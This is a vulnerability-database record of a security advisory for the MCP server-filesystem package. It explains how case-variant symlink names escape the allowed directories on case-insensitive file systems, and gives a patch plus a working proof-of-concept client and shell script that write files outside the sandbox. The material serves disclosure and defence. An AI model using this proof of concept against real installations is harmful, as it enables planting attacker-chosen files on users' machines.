{"id":"GHSA-4gxg-m5jx-9j57","kind":"vulnerability","aliases":["GHSA-4gxg-m5jx-9j57"],"related":[],"title":"Case-variant path bypasses symlink check and allows creating files outside allowed directories in server-filesystem","description":"### Summary\n\nOn a case-insensitive file system, `server-filesystem` 2026.8.31, 1.0.0 and 2.0.0 create files and directories outside the allowed directories through `create_directory`, `write_file` and the destination of `move_file`, if an allowed directory contains a symlink that points out and the request spells the symlink's name with different letter case. `resolveUnicodeEquivalentPath()` compares path components with `fs.readdir()` entries as strings, so `LINK` does not match `link`; it returns the rest of the path without a `realpath()`, and the OS follows the symlink when it creates the file.\r\n\r\nmacOS (APFS) and Windows (NTFS) are case-insensitive by default. I reproduced this on Linux with a case-folded tmpfs and have not run it on macOS or Windows. Only new files and directories can be created, existing files outside stay protected. It is a regression: 2026.7.10 refuses these requests.\n\n### Details\n\n`validatePath()` first calls `fs.realpath()` on the requested path. For a path that does not exist yet this fails with `ENOENT`, and `validatePath()` hands over to `resolveUnicodeEquivalentPath()` ([lib.ts#L256-L258](https://github.com/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#L256-L258)). That function starts at the real path of the allowed directory and walks the requested path one component at a time ([lib.ts#L157-L191](https://github.com/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#L157-L191)):\r\n\r\n```ts\r\nconst entries = (await fs.readdir(currentPath)) ?? [];\r\nconst exactMatch = entries.find((entry) => entry === requestedPart);\r\nconst equivalentMatches = exactMatch\r\n  ? [exactMatch]\r\n  : entries.filter(\r\n      (entry) => unicodeMatchKey(entry) === unicodeMatchKey(requestedPart),\r\n    );\r\n...\r\nif (equivalentMatches.length === 0) {\r\n  // Nothing below this point exists yet, so there are no symlinks left to\r\n  // resolve. ...\r\n  return path.join(currentPath, ...relativeParts.slice(index));\r\n}\r\n```\r\n\r\n([lib.ts#L159-L176](https://github.com/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#L159-L176).) For an entry that matches, the loop runs `fs.realpath()` and checks the result against the allowed directories. The matching is a string comparison: `unicodeMatchKey` ([lib.ts#L100-L102](https://github.com/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#L100-L102)) normalizes to NFC and maps Unicode spaces to U+0020 but keeps letter case. So with a symlink `link -> /outside` in the allowed directory, a request for `LINK/a` finds no entry called `LINK`, the function returns `<allowed>/LINK/a` unchecked, and on a case-insensitive file system `mkdir` or `open` resolves `LINK` through `link`.\r\n\r\nThe case-varied component does not have to be the symlink. In `SUB/ln2/x`, with `sub/ln2 -> /outside`, the walk stops at `SUB` and never looks at `ln2`, even though `ln2` is spelled exactly. So a fix that checks only the first missing component is not enough.\r\n\r\nHistory: before 2026.8.31 `validatePath()` ran `fs.realpath()` on the parent directory, so the OS did the case folding and `LINK/a` was refused. PR #4638 replaced that with the `readdir` walk; there, an unmatched component that was not the last one still raised \"Parent directory does not exist\". PR #4631 (issue #4629), merged on top of it, changed that branch to return the unchecked rest of the path so that `create_directory` can create nested directories. Both first shipped in 2026.8.31. The existing symlink test (`refuses a new path under a symlinked directory that leaves (#4629)`) uses the exact spelling only. The class is the one in GHSA-q66q-fx2p-7w4m (CVE-2025-53109): reaching files outside the allowed directories through symlinks inside them.\r\n\r\nSuggested fix: when no entry matches by spelling, pass the requested name to `fs.realpath()` as it is, so the OS applies whatever case folding or aliasing the file system has, and check containment at every step. Only a name that neither resolves nor exists under `lstat` is treated as the start of the missing tail. A dangling symlink still fails like it does today. I have this as a patch with tests (the `lib.ts` change is below, the tests are in `server-paths.test.ts`) and can open a PR against the private fork:\r\n\r\n```diff\r\ndiff --git a/src/filesystem/lib.ts b/src/filesystem/lib.ts\r\nindex abb6b09..0a52573 100644\r\n--- a/src/filesystem/lib.ts\r\n+++ b/src/filesystem/lib.ts\r\n@@ -133,6 +133,18 @@ function respellAllowedDirectoryPrefix(\r\n   return absolutePath;\r\n }\r\n \r\n+// Whether a directory entry of this name exists, without following it: a\r\n+// dangling symlink does, a name nothing was created under does not.\r\n+async function entryExists(entryPath: string): Promise<boolean> {\r\n+  try {\r\n+    await fs.lstat(entryPath);\r\n+    return true;\r\n+  } catch (error) {\r\n+    if ((error as NodeJS.ErrnoException).code === \"ENOENT\") return false;\r\n+    throw error;\r\n+  }\r\n+}\r\n+\r\n async function resolveUnicodeEquivalentPath(\r\n   absolutePath: string,\r\n   allowedDirectories: readonly string[],\r\n@@ -168,16 +180,33 @@ async function resolveUnicodeEquivalentPath(\r\n       throw new Error(`Ambiguous Unicode path component: ${requestedPart}`);\r\n     }\r\n \r\n-    if (equivalentMatches.length === 0) {\r\n-      // Nothing below this point exists yet, so there are no symlinks left to\r\n-      // resolve. currentPath is already realpath'd and inside an allowed\r\n-      // directory; append the missing tail so create_directory can mkdir -p it.\r\n-      return path.join(currentPath, ...relativeParts.slice(index));\r\n-    }\r\n-\r\n-    currentPath = await fs.realpath(\r\n-      path.join(currentPath, equivalentMatches[0]),\r\n+    // An entry whose name matches by spelling is looked up by that name. When\r\n+    // none does, the requested name is still handed to the OS as it is: on a\r\n+    // case-insensitive file system (macOS APFS/HFS+ and Windows NTFS by\r\n+    // default) it can name an existing entry spelled with other letter case,\r\n+    // and that entry can be a symlink that leaves the allowed directories.\r\n+    const candidate = path.join(\r\n+      currentPath,\r\n+      equivalentMatches[0] ?? requestedPart,\r\n     );\r\n+    try {\r\n+      currentPath = await fs.realpath(candidate);\r\n+    } catch (error) {\r\n+      if (\r\n+        equivalentMatches.length === 0 &&\r\n+        (error as NodeJS.ErrnoException).code === \"ENOENT\" &&\r\n+        !(await entryExists(candidate))\r\n+      ) {\r\n+        // Nothing below this point exists yet, so there are no symlinks left\r\n+        // to resolve. currentPath is already realpath'd and inside an allowed\r\n+        // directory; append the missing tail so create_directory can mkdir -p\r\n+        // it.\r\n+        return path.join(currentPath, ...relativeParts.slice(index));\r\n+      }\r\n+      // A dangling symlink also fails realpath with ENOENT; it is reported\r\n+      // like any other failure rather than treated as a missing name.\r\n+      throw error;\r\n+    }\r\n     if (\r\n       !isPathWithinAllowedDirectories(\r\n         normalizePath(currentPath),\r\n```\r\n\r\nThree of the four new tests in `server-paths.test.ts` skip themselves on a case-sensitive file system; the fourth checks that there a differently-cased name is just a new directory. I have not run the patch on macOS or Windows; it relies on `fs.realpath()` following a differently-cased symlink name there, as it does on the casefolded mount.\r\n\r\nOne related hardening note, not a separate claim: the first step of the same function, `fs.realpath(allowedDirectory)` ([lib.ts#L151](https://github.com/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#L151)), is not checked against the allow-list. If an allowed directory itself is swapped for a symlink after the server started, new paths below it land in the symlink's target; that needs write access to the directory's parent, so I rate it low. A containment check on `currentPath` right after that line closes it (I tried it on Linux, the full suite passes). The patch above does not include it.\n\n### Proof of concept\n\nServer: `@modelcontextprotocol/server-filesystem` 2.0.0 from npm (also run: 2026.8.31, 1.0.0, and a build of `51b6382` = current `main`). Configuration: one allowed directory as the only command-line argument, no Roots. Client: a small hand-written stdio JSON-RPC client (below), protocol version `2025-06-18`, no capabilities. Host: Linux 7.2.11 (Fedora), Node v22.22.2 (2.0.0 declares `engines.node >=24`; it ran on 22 regardless).\r\n\r\nA case-insensitive file system is needed. Without root, a case-folded tmpfs in a user namespace does it: `unshare -rm`, `mount -t tmpfs -o casefold`, `chattr +F` on a directory. This needs unprivileged user namespaces, `chattr`, and a kernel with casefold support in tmpfs (I believe 6.13 or newer; I used 7.2.11). The allowed directory contains `link -> outside` (what a cloned repo could carry), `sub/ln2 -> outside` and a file `note.txt`.\r\n\r\n```sh\r\nmkdir mcp02-poc && cd mcp02-poc\r\n\r\ncat > client.mjs <<'EOF'\r\n// usage: node client.mjs <allowed-dir> <server command and args...>\r\n// Minimal MCP stdio client: newline-delimited JSON-RPC, no dependencies.\r\nimport { spawn } from \"node:child_process\";\r\nimport path from \"node:path\";\r\n\r\nconst [allowed, cmd, ...cmdArgs] = process.argv.slice(2);\r\nconst server = spawn(cmd, [...cmdArgs, allowed], {\r\n  stdio: [\"pipe\", \"pipe\", \"inherit\"],\r\n});\r\n\r\nconst pending = new Map();\r\nlet buf = \"\";\r\nserver.stdout.setEncoding(\"utf8\");\r\nserver.stdout.on(\"data\", (chunk) => {\r\n  buf += chunk;\r\n  let nl;\r\n  while ((nl = buf.indexOf(\"\\n\")) !== -1) {\r\n    const msg = JSON.parse(buf.slice(0, nl));\r\n    buf = buf.slice(nl + 1);\r\n    if (msg.id !== undefined) pending.get(msg.id)?.(msg);\r\n  }\r\n});\r\n\r\nlet nextId = 1;\r\nconst rpc = (method, params) =>\r\n  new Promise((resolve, reject) => {\r\n    const id = nextId++;\r\n    const timer = setTimeout(() => reject(new Error(`timeout: ${method}`)), 20000);\r\n    pending.set(id, (msg) => {\r\n      clearTimeout(timer);\r\n      resolve(msg);\r\n    });\r\n    server.stdin.write(JSON.stringify({ jsonrpc: \"2.0\", id, method, params }) + \"\\n\");\r\n  });\r\n\r\nawait rpc(\"initialize\", {\r\n  protocolVersion: \"2025-06-18\",\r\n  capabilities: {},\r\n  clientInfo: { name: \"poc-client\", version: \"0.0.0\" },\r\n});\r\nserver.stdin.write(\r\n  JSON.stringify({ jsonrpc: \"2.0\", method: \"notifications/initialized\" }) + \"\\n\",\r\n);\r\n\r\nasync function tool(label, name, args) {\r\n  const res = await rpc(\"tools/call\", { name, arguments: args });\r\n  const text = res.error\r\n    ? `JSON-RPC error: ${res.error.message}`\r\n    : res.result.content.map((c) => c.text).join(\"\\n\");\r\n  console.log(`${label.padEnd(34)} -> ${res.result?.isError ? \"ERROR: \" : \"\"}${text}`);\r\n}\r\n\r\nconst p = (...parts) => path.join(allowed, ...parts);\r\nawait tool(\"create_directory link/a (control)\", \"create_directory\", { path: p(\"link\", \"a\") });\r\nawait tool(\"create_directory LINK/a\", \"create_directory\", { path: p(\"LINK\", \"a\") });\r\nawait tool(\"write_file Link/pwned.txt\", \"write_file\", {\r\n  path: p(\"Link\", \"pwned.txt\"),\r\n  content: \"written outside the allowed directory\\n\",\r\n});\r\nawait tool(\"write_file SUB/ln2/nested.txt\", \"write_file\", {\r\n  path: p(\"SUB\", \"ln2\", \"nested.txt\"),\r\n  content: \"written outside the allowed directory\\n\",\r\n});\r\nawait tool(\"move_file note.txt -> lInK/moved.txt\", \"move_file\", {\r\n  source: p(\"note.txt\"),\r\n  destination: p(\"lInK\", \"moved.txt\"),\r\n});\r\nserver.kill();\r\nEOF\r\n\r\ncat > run.sh <<'EOF'\r\n# usage: unshare -rm sh run.sh <server command and args...>\r\n# needs a kernel with casefold support in tmpfs, node, chattr\r\nset -e\r\nHERE=$(cd \"$(dirname \"$0\")\" && pwd)\r\nCF=$(mktemp -d)                            # becomes the case-insensitive mount\r\ntrap 'cd /; umount \"$CF\"; rmdir \"$CF\"' EXIT\r\nmount -t tmpfs -o casefold tmpfs \"$CF\"\r\nmkdir \"$CF/work\" && chattr +F \"$CF/work\"   # +F: this directory and its children fold case\r\nALLOWED=\"$CF/work/allowed\"                 # the only directory the server is given\r\nOUTSIDE=\"$CF/work/outside\"                 # a sibling, not an allowed directory\r\nmkdir -p \"$ALLOWED/sub\" \"$OUTSIDE\"\r\necho \"top secret\" > \"$OUTSIDE/secret.txt\"\r\necho \"a file inside the allowed directory\" > \"$ALLOWED/note.txt\"\r\nln -s \"$OUTSIDE\" \"$ALLOWED/link\"           # what a cloned repo could carry\r\nln -s \"$OUTSIDE\" \"$ALLOWED/sub/ln2\"\r\n\r\necho \"# lstat of the case variant LINK:\"\r\nstat -c '%N' \"$ALLOWED/LINK\"\r\necho\r\nnode \"$HERE/client.mjs\" \"$ALLOWED\" \"$@\"\r\necho\r\necho \"# directory outside the allowed directory:\"\r\nls -R \"$OUTSIDE\"\r\nEOF\r\n\r\nunshare -rm sh run.sh npx -y @modelcontextprotocol/server-filesystem@2.0.0\r\n```\r\n\r\nFor a source checkout, build it first (`npm ci --ignore-scripts && (cd src/filesystem && npm run build)`) and replace the last line with `unshare -rm sh run.sh node /path/to/servers/src/filesystem/dist/index.js`.\r\n\r\nExpected: the four case-variant calls are refused like the control call (`link/a`). Actual on 2.0.0, 2026.8.31, 1.0.0 and `51b6382` (output of the `51b6382` build; server stderr lines left out, temp names shortened):\r\n\r\n```text\r\n# lstat of the case variant LINK:\r\n'/tmp/tmp.XXXXXXXXXX/work/allowed/LINK' -> '/tmp/tmp.XXXXXXXXXX/work/outside'\r\n\r\ncreate_directory link/a (control)  -> ERROR: Access denied - symlink target outside allowed directories: /tmp/tmp.XXXXXXXXXX/work/outside not in /tmp/tmp.XXXXXXXXXX/work/allowed\r\ncreate_directory LINK/a            -> Successfully created directory /tmp/tmp.XXXXXXXXXX/work/allowed/LINK/a\r\nwrite_file Link/pwned.txt          -> Successfully wrote to /tmp/tmp.XXXXXXXXXX/work/allowed/Link/pwned.txt\r\nwrite_file SUB/ln2/nested.txt      -> Successfully wrote to /tmp/tmp.XXXXXXXXXX/work/allowed/SUB/ln2/nested.txt\r\nmove_file note.txt -> lInK/moved.txt -> Successfully moved /tmp/tmp.XXXXXXXXXX/work/allowed/note.txt to /tmp/tmp.XXXXXXXXXX/work/allowed/lInK/moved.txt\r\n\r\n# directory outside the allowed directory:\r\n/tmp/tmp.XXXXXXXXXX/work/outside:\r\na\r\nmoved.txt\r\nnested.txt\r\npwned.txt\r\nsecret.txt\r\n\r\n/tmp/tmp.XXXXXXXXXX/work/outside/a:\r\n```\r\n\r\nThe files and directories were created in `outside`, and `note.txt` was moved out of the allowed directory. `LINK`, `Link`, `lInK` and `SUB` are all just the OS accepting another spelling of an existing name. With the patch applied to `51b6382` the same script prints:\r\n\r\n```text\r\n# lstat of the case variant LINK:\r\n'/tmp/tmp.XXXXXXXXXX/work/allowed/LINK' -> '/tmp/tmp.XXXXXXXXXX/work/outside'\r\n\r\ncreate_directory link/a (control)  -> ERROR: Access denied - symlink target outside allowed directories: /tmp/tmp.XXXXXXXXXX/work/outside not in /tmp/tmp.XXXXXXXXXX/work/allowed\r\ncreate_directory LINK/a            -> ERROR: Access denied - symlink target outside allowed directories: /tmp/tmp.XXXXXXXXXX/work/outside not in /tmp/tmp.XXXXXXXXXX/work/allowed\r\nwrite_file Link/pwned.txt          -> ERROR: Access denied - symlink target outside allowed directories: /tmp/tmp.XXXXXXXXXX/work/outside not in /tmp/tmp.XXXXXXXXXX/work/allowed\r\nwrite_file SUB/ln2/nested.txt      -> ERROR: Access denied - symlink target outside allowed directories: /tmp/tmp.XXXXXXXXXX/work/outside not in /tmp/tmp.XXXXXXXXXX/work/allowed\r\nmove_file note.txt -> lInK/moved.txt -> ERROR: Access denied - symlink target outside allowed directories: /tmp/tmp.XXXXXXXXXX/work/outside not in /tmp/tmp.XXXXXXXXXX/work/allowed\r\n\r\n# directory outside the allowed directory:\r\n/tmp/tmp.XXXXXXXXXX/work/outside:\r\nsecret.txt\r\n```\r\n\r\nOn 2026.7.10 the same script refuses all five calls, control included (with the message `Parent directory does not exist: ...`, because the old check swallows its own \"outside allowed directories\" error), and `outside` only has `secret.txt`.\r\n\r\nReading, overwriting or editing an existing file through the case variant is refused at `51b6382` (v2.0.0 is the same commit): `read_text_file`, `write_file` and `edit_file` on `LINK/secret.txt`, and `list_directory` on `LINK`, all return \"Access denied - symlink target outside allowed directories\", because `fs.realpath()` of an existing path resolves the symlink.\r\n\r\nThe patch also adds regression tests to `src/filesystem/__tests__/server-paths.test.ts`. With `TMPDIR` pointing into a `chattr +F` directory on the same kind of mount, three of them fail at `51b6382` (the two escape tests, and the dangling-symlink test on its error message only) and all pass with the patch. On a case-sensitive file system the three are skipped.\n\n### Impact\n\nAnyone running `server-filesystem` 2026.8.31, 1.0.0 or 2.0.0 on a case-insensitive file system, which is the default on macOS (APFS) and Windows (NTFS), or on a case-folded volume elsewhere. No special configuration is needed beyond an allowed directory that contains a symlink pointing outside it.\r\n\r\nThe server cannot create symlinks, so the symlink has to come from somewhere else: a git repository or archive the user placed in an allowed directory can carry one (git checks symlinks out as symlinks on macOS and Linux). The attacker also has to get a tool call with the differently-cased path made, for example by prompt injection in a file the model reads, and has to know the victim's absolute path for the directory the symlink points to. On Windows, git does not create symlinks by default and creating one needs extra privileges, so macOS is the realistic target. I tested neither.\r\n\r\nWhat the attacker gets is new files and directories, with chosen names and content, under the symlink's target outside the allowed directories, plus moving a file out of the allowed directory with `move_file`. Whether that matters depends on the target (a directory that a shell, launch agent or autostart mechanism reads from, for instance). Existing files outside cannot be read or overwritten this way.\n\n## Upgrading from a date-versioned release\n\n`@modelcontextprotocol/server-filesystem` moved from date versions (2025.x, 2026.x) to semantic versions in 1.0.0. Package managers rank 2.0.1 below every 2025.x and 2026.x version, so they will not offer it as an upgrade and Dependabot will not open one. If you are on a date version, install the fix explicitly: `npm install @modelcontextprotocol/server-filesystem@2.0.1` (or `@latest`).","summary":"On case-insensitive file systems, @modelcontextprotocol/server-filesystem can create files and directories outside its allowed directories when an allowed directory holds a symlink and the request spells its name with different letter case. An attacker can create new files and directories outside the allowed area, but existing outside files stay protected.","severity":"medium","cvss":5.3,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"@modelcontextprotocol/server-filesystem","fixed":[],"affected":"= 2026.8.31","ecosystem":"npm"},{"name":"@modelcontextprotocol/server-filesystem","fixed":["2.0.1"],"affected":">= 1.0.0, < 2.0.1","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-178","cwe-59","macos","mcp","node","package","windows"],"not_affected_if":["case-sensitive-filesystem","no-outward-symlinks"],"how_to_check":"- Check the installed version with `npm ls @modelcontextprotocol/server-filesystem`\n- Check whether any allowed directory contains symlinks pointing outside it, and whether the file system is case-insensitive (macOS APFS or Windows NTFS by default)","fix":"- `@modelcontextprotocol/server-filesystem` `2.0.1` (affected range `>= 1.0.0, < 2.0.1`)\n- Version `2026.8.31` has no fixed version stated in the sources","status":"open","published_at":"2026-10-25T00:18:21+00:00","first_seen_at":"2026-11-09T22:53:25+00:00","triaged_at":"2026-11-09T22:56:45+00:00","updated_at":"2026-11-09T22:56:45+00:00","category":"package","confidence":0.7,"triage":{"at":"2026-11-09T22:56:45Z","model":"claude-haiku-5-5","output":{"fix":"- `@modelcontextprotocol/server-filesystem` `2.0.1` (affected range `>= 1.0.0, < 2.0.1`)\n- Version `2026.8.31` has no fixed version stated in the sources","reach":"network","title":"MCP filesystem server: case-varied paths escape allowed directories through symlinks","impact":"medium","summary":"On case-insensitive file systems, @modelcontextprotocol/server-filesystem can create files and directories outside its allowed directories when an allowed directory holds a symlink and the request spells its name with different letter case. An attacker can create new files and directories outside the allowed area, but existing outside files stay protected.","audience":"developers","category":"package","nicknames":[],"who_cares":["mcp","node","macos","windows"],"confidence":0.7,"fix_status":"available","needs_auth":"no","worst_case":"new files and directories created outside the allowed directories","analyst_note":"Confirm the fixed version for the 2026.8.31 line (products list shows fixed '?') and whether macOS/Windows behave as reported; see the advisory at github.com/modelcontextprotocol/servers/security/advisories/GHSA-4gxg-m5jx-9j57.","how_to_check":"- Check the installed version with `npm ls @modelcontextprotocol/server-filesystem`\n- Check whether any allowed directory contains symlinks pointing outside it, and whether the file system is case-insensitive (macOS APFS or Windows NTFS by default)","plain_action":"","product_name":"","needs_analyst":true,"not_affected_if":["case-sensitive-filesystem","no-outward-symlinks"],"who_is_affected":"Teams running the MCP filesystem server with a case-insensitive file system (macOS or Windows by default) and an allowed directory that contains symlinks pointing outside it. The advisory reports the issue reproduced on Linux with a case-folded mount; macOS and Windows were not tested. Setups without outward-pointing symlinks in allowed directories are less exposed.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.001306,"input_tokens":9416,"output_tokens":729,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'+0020':388C '-178':32B '-2025':589C '-53109':590C '-59':34B '/link/a':415C '/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#l100-l102))':378C '/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#l157-l191)):':296C '/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#l159-l176).)':347C '/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#l256-l258)).':268C '/outside':398C,448C '0':321C '1.0.0':103C '2.0.0':105C '2026.7.10':231C '2026.8.31':102C,480C,556C '4629':527C,571C '4631':525C '4638':500C '4gxg':21A,26A '7w4m':587C '9j57':23A,28A 'allow':9A,13A,54B,58B,83B,112C,127C,278C,363C,401C,595C 'apf':184C 'appli':621C 'area':84B 'attack':74B 'await':300C 'branch':535C 'bypass':5A 'call':238C,410C 'cas':623C 'case':2A,42B,72B,95C,146C,190C,202C,392C,421C,434C,493C 'case-fold':201C 'case-insensit':41B,94C,189C,420C 'case-vari':1A,433C 'chang':533C 'check':7A,358C,469C 'class':578C 'compar':148C 'comparison':370C 'compon':150C,286C,436C,474C,510C 'const':298C,303C,309C 'contain':129C 'creat':10A,48B,76B,106C,115C,180C,221C,546C,549C 'currentpath':302C,338C 'cve':588C 'cwe':31B,33B 'default':193C 'destin':121C 'detail':235C 'differ':70B,144C 'directori':14A,51B,55B,59B,80B,109C,113C,116C,128C,218C,279C,364C,402C,487C,520C,547C,551C,568C,596C 'enoent':255C 'enough':477C 'entri':153C,299C,306C,307C,314C,316C,350C,409C,605C 'entries.filter':313C 'entries.find':305C 'equivalentmatch':310C 'equivalentmatches.length':320C 'even':459C 'exact':464C,574C 'exactmatch':304C,311C,312C 'exist':86B,222C,250C,326C,523C,558C 'fail':253C 'file':11A,44B,49B,78B,88B,97C,107C,118C,124C,182C,216C,223C,423C,592C 'filesystem':18A,101C 'find':407C 'first':237C,472C,553C 'fix':467C,602C 'fold':203C,494C 'follow':175C 'fs.readdir':152C,301C 'fs.realpath':239C,356C,483C,614C 'function':270C,413C 'fx2p':586C 'ghsa':20A,25A,584C 'ghsa-4gxg-m5jx-9j57':19A,24A 'ghsa-q66q-fx2p-7w4m':583C 'github.com':267C,295C,346C,377C 'github.com/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#l100-l102))':376C 'github.com/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#l157-l191)):':294C 'github.com/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#l159-l176).)':345C 'github.com/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#l256-l258)).':266C 'hand':258C 'histori':478C 'hold':60B 'index':340C 'insensit':43B,96C,191C,422C 'insid':599C 'issu':526C 'keep':390C 'l100':374C 'l100-l102':373C 'l102':375C 'l157':292C 'l157-l191':291C 'l159':343C 'l159-l176':342C 'l176':344C 'l191':293C 'l256':264C 'l256-l258':263C 'l258':265C 'last':515C 'leav':570C 'left':333C 'letter':71B,145C,391C 'lib.ts':262C,290C,341C,372C 'link':157C,161C,397C,411C,429C,431C 'link/a':406C,496C 'linux':198C 'ln2':458C,461C 'look':456C 'loop':354C 'm5jx':22A,27A 'maco':35B,183C,211C 'map':383C 'match':160C,352C,366C,606C 'mcp':36B 'merg':528C 'miss':473C 'mkdir':425C 'modelcontextprotocol/server-filesystem':29A,30A,46B 'move':123C 'name':68B,142C,612C 'nest':550C 'never':455C 'new':77B,215C,563C 'nfc':381C 'node':37B 'normal':379C 'noth':322C 'ntfs':187C 'one':285C,516C,581C 'open':427C 'os':174C,490C,620C 'outsid':12A,52B,81B,87B,110C,224C,593C 'packag':38B 'parent':486C,519C 'pass':609C 'path':4A,149C,168C,243C,246C,275C,284C,543C,564C 'path.join':337C 'point':133C,325C 'pr':499C,524C 'protect':90B,226C 'q66q':585C 'rais':518C 'ran':482C 'reach':591C 'readdir':505C 'real':274C 'realpath':171C 'refus':232C,498C,561C 'regress':230C 'relativeparts.slice':339C 'replac':501C 'reproduc':195C 'request':65B,137C,234C,242C,283C,404C,611C 'requestedpart':308C,318C 'resolv':335C,428C 'resolveunicodeequivalentpath':147C,261C 'rest':165C,540C 'result':360C 'return':163C,336C,414C,537C 'run':208C,355C 'server':17A,100C 'server-filesystem':16A,99C 'ship':554C 'space':385C 'spell':66B,138C,463C,575C,608C 'start':271C 'stay':89B,225C 'still':517C 'stop':451C 'string':155C,369C 'sub':453C 'sub/ln2':447C 'sub/ln2/x':445C 'suggest':601C 'summari':91C 'symlink':6A,62B,131C,140C,177C,332C,396C,443C,559C,567C,598C 'system':45B,98C,424C 'test':560C 'though':460C 'time':289C 'tmpfs':204C 'top':530C 'ts':297C 'u':387C 'uncheck':416C,539C 'unicod':384C 'unicodematchkey':315C,317C,371C 'unmatch':509C 'use':572C 'validatepath':236C,257C,481C 'vari':435C 'variant':3A 'walk':281C,450C,506C 'whatev':622C 'window':39B,186C,213C 'without':169C 'write':117C 'yet':251C,327C","nicknames":[],"mitigations":[],"who_affected":"Teams running the MCP filesystem server with a case-insensitive file system (macOS or Windows by default) and an allowed directory that contains symlinks pointing outside it. The advisory reports the issue reproduced on Linux with a case-folded mount; macOS and Windows were not tested. Setups without outward-pointing symlinks in allowed directories are less exposed.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["serverfilesystem"],"ptokens":["filesystem","modelcontextprotocol","server"],"labels":["cwe178","cwe59","macos","mcp","medium","node","npm","package","windows"],"campaign_type":null,"search_a":"'4gxg':21A,26A '9j57':23A,28A 'allow':9A,13A 'bypass':5A 'case':2A 'case-vari':1A 'check':7A 'creat':10A 'directori':14A 'file':11A 'filesystem':18A 'ghsa':20A,25A 'ghsa-4gxg-m5jx-9j57':19A,24A 'm5jx':22A,27A 'modelcontextprotocol/server-filesystem':29A,30A 'outsid':12A 'path':4A 'server':17A 'server-filesystem':16A 'symlink':6A 'variant':3A","search_b":"'-178':32B '-59':34B 'allow':54B,58B,83B 'area':84B 'attack':74B 'case':42B,72B 'case-insensit':41B 'creat':48B,76B 'cwe':31B,33B 'differ':70B 'directori':51B,55B,59B,80B 'exist':86B 'file':44B,49B,78B,88B 'hold':60B 'insensit':43B 'letter':71B 'maco':35B 'mcp':36B 'modelcontextprotocol/server-filesystem':46B 'name':68B 'new':77B 'node':37B 'outsid':52B,81B,87B 'packag':38B 'protect':90B 'request':65B 'spell':66B 'stay':89B 'symlink':62B 'system':45B 'window':39B","search_c":"'+0020':388C '-2025':589C '-53109':590C '/link/a':415C '/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#l100-l102))':378C '/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#l157-l191)):':296C '/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#l159-l176).)':347C '/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#l256-l258)).':268C '/outside':398C,448C '0':321C '1.0.0':103C '2.0.0':105C '2026.7.10':231C '2026.8.31':102C,480C,556C '4629':527C,571C '4631':525C '4638':500C '7w4m':587C 'allow':112C,127C,278C,363C,401C,595C 'apf':184C 'appli':621C 'await':300C 'branch':535C 'call':238C,410C 'cas':623C 'case':95C,146C,190C,202C,392C,421C,434C,493C 'case-fold':201C 'case-insensit':94C,189C,420C 'case-vari':433C 'chang':533C 'check':358C,469C 'class':578C 'compar':148C 'comparison':370C 'compon':150C,286C,436C,474C,510C 'const':298C,303C,309C 'contain':129C 'creat':106C,115C,180C,221C,546C,549C 'currentpath':302C,338C 'cve':588C 'default':193C 'destin':121C 'detail':235C 'differ':144C 'directori':109C,113C,116C,128C,218C,279C,364C,402C,487C,520C,547C,551C,568C,596C 'enoent':255C 'enough':477C 'entri':153C,299C,306C,307C,314C,316C,350C,409C,605C 'entries.filter':313C 'entries.find':305C 'equivalentmatch':310C 'equivalentmatches.length':320C 'even':459C 'exact':464C,574C 'exactmatch':304C,311C,312C 'exist':222C,250C,326C,523C,558C 'fail':253C 'file':97C,107C,118C,124C,182C,216C,223C,423C,592C 'filesystem':101C 'find':407C 'first':237C,472C,553C 'fix':467C,602C 'fold':203C,494C 'follow':175C 'fs.readdir':152C,301C 'fs.realpath':239C,356C,483C,614C 'function':270C,413C 'fx2p':586C 'ghsa':584C 'ghsa-q66q-fx2p-7w4m':583C 'github.com':267C,295C,346C,377C 'github.com/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#l100-l102))':376C 'github.com/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#l157-l191)):':294C 'github.com/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#l159-l176).)':345C 'github.com/modelcontextprotocol/servers/blob/51b6382a3e827aceb6bce430b1208d69b93d95ea/src/filesystem/lib.ts#l256-l258)).':266C 'hand':258C 'histori':478C 'index':340C 'insensit':96C,191C,422C 'insid':599C 'issu':526C 'keep':390C 'l100':374C 'l100-l102':373C 'l102':375C 'l157':292C 'l157-l191':291C 